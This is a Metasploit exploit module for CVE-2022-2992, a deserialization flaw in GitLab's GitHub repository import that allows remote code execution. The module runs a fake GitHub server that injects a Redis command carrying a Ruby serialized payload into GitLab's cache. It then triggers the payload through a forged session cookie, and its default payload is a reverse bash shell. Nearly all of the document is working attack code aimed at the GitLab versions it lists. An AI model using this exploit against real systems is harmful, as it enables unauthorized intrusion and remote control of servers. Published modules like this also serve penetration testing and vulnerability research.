An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested default_branch. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in remote code execution.
01b86153e9b59cbce82f32a07b24098f2267f0bddf0bec3fcf3243c9d0b7d820##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitlab
include Msf::Exploit::RubyDeserialization
attr_accessor :cookie
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
'Description' => %q{
An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
'William Bowling (vakzz)', # discovery
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
'RedWay Security <https://infosec.exchange/@redway>', # PoC
],
'References' => [
['URL', 'https://hackerone.com/reports/1679624'],
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
['CVE', '2022-2992']
],
'DisclosureDate' => '2022-10-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
]
)
deregister_options('GIT_URI')
end
def group_name
@group_name ||= Rex::Text.rand_text_alpha(8..12)
end
def api_token
@api_token ||= gitlab_create_personal_access_token
end
def session_id
@session_id ||= Rex::Text.rand_text_hex(32)
end
def redis_payload(cmd)
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
gitlab_session_id = "session:gitlab:#{session_id}"
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
# The command set
# The gitlab session to load the payload from
# The Payload itself. A Ruby serialized command
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
end
def check
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status('Trying to get the GitLab version')
version = Rex::Version.new(gitlab_version)
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
)
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
return CheckCode::Unknown("#{e.class} - #{e.message}")
end
def cleanup
super
return unless @import_id
gitlab_delete_group(@group_id, api_token)
gitlab_revoke_personal_access_token(api_token)
gitlab_sign_out
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
print_error("#{e.class} - #{e.message}")
end
def exploit
if Rex::Socket.is_internal?(srvhost_addr)
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
end
setup_repo_structure
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
execute_command(payload.encoded)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the cleanup method
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
# import a repository from GitHub
vprint_status('Importing a repository from GitHub')
@import_id = gitlab_import_github_repo(
group_name: group_name,
github_hostname: get_uri,
api_token: api_token
)['id']
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
# wait for the import tasks to finish
select(nil, nil, nil, datastore['IMPORT_DELAY'])
# execute the payload
send_request_cgi({
'uri' => normalize_uri(target_uri.path, group_name),
'method' => 'GET',
'keep_cookies' => false,
'cookie' => "_gitlab_session=#{session_id}"
})
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
end
def setup_repo_structure
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
blob_data = Rex::Text.rand_text_alpha(5..12)
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
tree_data =
{
mode: '100644',
file_name: blob_object_fname,
sha1: blob_object.sha1
}
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
git_objs = [ commit_obj, tree_object, blob_object ]
@refs =
{
'HEAD' => 'refs/heads/main',
'refs/heads/main' => commit_obj.sha1
}
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
end
# Handle incoming requests from GitLab server
def on_request_uri(cli, req)
super
headers = { 'Content-Type' => 'application/json' }
data = {}.to_json
case req.uri
when %r{/api/v3/rate_limit}
headers.merge!({
'X-RateLimit-Limit' => '100000',
'X-RateLimit-Remaining' => '100000'
})
when %r{/api/v3/repositories/(\w{1,20})}
id = Regexp.last_match(1)
name = Rex::Text.rand_text_alpha(8..12)
data = {
id: id,
name: name,
full_name: "#{name}/name",
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
}.to_json
when %r{/\w+/public.git/info/refs}
data = build_pkt_line_advertise(@refs)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
when %r{/\w+/public.git/git-upload-pack}
data = build_pkt_line_sideband(@packfile)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
when %r{/api/v3/repos/\w+/\w+}
bytes_size = rand(3..8)
data = {
'default_branch' => {
'to_s' => {
'bytesize' => bytes_size,
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
# using a simple string format for RESP
}
}
}.to_json
end
send_response(cli, data, headers)
end
end